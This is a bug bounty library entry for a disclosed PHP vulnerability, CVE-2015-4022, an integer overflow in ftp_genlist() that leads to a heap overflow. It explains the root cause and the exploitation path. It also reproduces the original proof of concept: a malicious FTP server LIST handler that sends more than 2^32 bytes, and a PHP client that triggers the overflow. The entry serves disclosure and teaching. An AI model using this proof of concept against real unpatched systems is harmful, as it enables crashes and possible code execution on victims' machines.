# Integer overflow in ftp_genlist() resulting in heap overflow

Integer overflow in PHP ftp_genlist() when a malicious FTP server sends >2^32 bytes causes undersized heap allocation and heap overflow, potentially RCE.

- Payout: hidden
- Severity: high
- Program: Internet Bug Bounty
- Found by: ruben
- Disclosed: 2015-05-12
- CVE: CVE-2015-4022
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/73240
- Library page: https://bugbountylibrary.com/r/h1%3A73240
- Tags: area:oss domain:oss impact:rce kind:bounty platform:hackerone sev:high tech:php technique:source-review vuln:memory-corruption vuln:rce

**Target:** PHP ftp extension ftp_genlist() / ftp_rawlist
**Root cause:** size and lines counters in ftp_genlist() overflow when the FTP server sends more than 2^32 bytes; safe_emalloc then allocates a buffer too small for the tempfile contents, and the copy-back loop writes past it.
**Steps:**
1. Run malicious_server.py FTP server that responds to LIST with 262144 * 16384 'B' bytes plus 'A\r\n' (>2^32 bytes).
2. Run buggy.php: ftp_connect, ftp_pasv(TRUE), ftp_rawlist($id, '/').
3. ftp_genlist() writes received data to a tempfile while size/lines overflow.
4. safe_emalloc((lines+1), sizeof(char*), size) under-allocates.
5. Copy-back loop via php_stream_getc writes past the buffer, crashing in _platform_memmove with overwritten heap bytes.
**How found:** Code review of ftp_genlist() spotted that size and lines are incremented per byte/line without bounds, and that safe_emalloc uses these overflowed values to size the buffer later filled from the tempfile.
**Exploitation:** Attacker controls an FTP server the victim connects to; by streaming >2^32 bytes in a directory listing, the integer overflow causes an undersized heap allocation and subsequent heap overflow during copy-back, corrupting heap structs used by php_stream_getc, which the reporter believes can be leveraged for remote code execution.
**Insight:** When a function buffers unbounded network data into a tempfile and later allocates based on accumulated counters, check whether those counters are 32-bit and can wrap before the allocation; the copy-back loop is where the overflow lands.

## Proof of concept (copied exactly from the original report)

**Malicious FTP server LIST sending 2^32+1 bytes**

```
def LIST(self,cmd):
        self.conn.send('150 Here comes the directory listing.\r\n')
        print 'list:', self.cwd
        self.start_datasock()

        # send 2^32 + 1 bytes of data
        for i in xrange(262144):
            if i % 10000 == 0:
                print "%d" % i
            self.datasock.send("B"*16384)
        self.datasock.send("A\r\n")

        self.stop_datasock()
        self.conn.send('226 Directory send OK.\r\n')
```

**PHP client triggering ftp_rawlist overflow**

```
<?php
    $id = ftp_connect("localhost", 8887);
    ftp_pasv($id, TRUE);
    var_dump(ftp_rawlist($id, "/"));
?>
```

